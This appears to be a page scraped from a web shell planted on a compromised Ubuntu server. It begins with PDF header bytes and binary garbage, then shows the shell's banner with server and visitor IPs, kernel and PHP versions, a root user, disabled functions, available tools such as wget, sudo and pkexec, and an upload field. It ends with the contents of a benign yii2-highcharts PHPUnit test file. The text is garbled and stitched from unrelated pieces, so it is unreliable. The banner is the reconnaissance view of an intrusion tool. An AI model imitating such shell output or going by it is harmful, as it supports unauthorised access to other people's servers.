%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.146 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ppaobm/vendor/miloschuman/yii2-highcharts-widget/tests/ |
Upload File : |
<?php namespace miloschumanunit\highcharts; use miloschuman\highcharts\SeriesDataHelper; use yii\data\ArrayDataProvider; /** * SeriesDataHelperTest.php */ class SeriesDataHelperTest extends BaseTestCase { /** * test basic data processing using current setup */ public function testBasicProcessing() { $data = [ [ 'date_measured' => '2016-03-01 03:00:00', 'open' => 3.14, ], [ 'date_measured' => '2016-03-02 03:00:00', 'open' => 4.14, ] ]; $columns = [ [ 'date_measured', 'datetime' ], 'open:int', ]; $dataProvider = $this->setupDataProvider($data); $helper = new SeriesDataHelper( $dataProvider, $columns ); $results = $helper->process(); $this->assertEquals( strtotime('2016-03-01 03:00:00') * 1000, $results[0][0] ); $this->assertEquals( 3, $results[0][1] ); $this->assertEquals( strtotime('2016-03-02 03:00:00') * 1000, $results[1][0] ); $this->assertEquals( 4, $results[1][1] ); } /** * test fancy data processing to produce JS objects instead of arrays */ public function testFancyDataProcessing() { $data = [ [ 'date_measured' => '2016-03-01 03:00:00', 'open' => 3.14, 'pointData' => 'Show this on the graph', ], [ 'date_measured' => '2016-03-02 03:00:00', 'open' => 4.14, 'pointData' => 'This as well', ] ]; $columns = [ 'x' => [ 'date_measured', 'datetime' ], 'y' => 'open:int', 'extra' => 'pointData:raw', ]; $dataProvider = $this->setupDataProvider($data); $helper = new SeriesDataHelper( $dataProvider, $columns ); $results = $helper->jsonSerialize(); $this->assertEquals( strtotime('2016-03-01 03:00:00') * 1000, $results[0]['x']); $this->assertEquals( 3, $results[0]['y'] ); $this->assertEquals( 'Show this on the graph', $results[0]['extra'] ); $this->assertEquals( strtotime('2016-03-02 03:00:00') * 1000, $results[1]['x'] ); $this->assertEquals( 4, $results[1]['y'] ); $this->assertEquals( 'This as well', $results[1]['extra'] ); } private function setupDataProvider($data) { return new ArrayDataProvider( [ 'allModels' => $data, 'sort' => false, 'pagination' => false, ] ); } }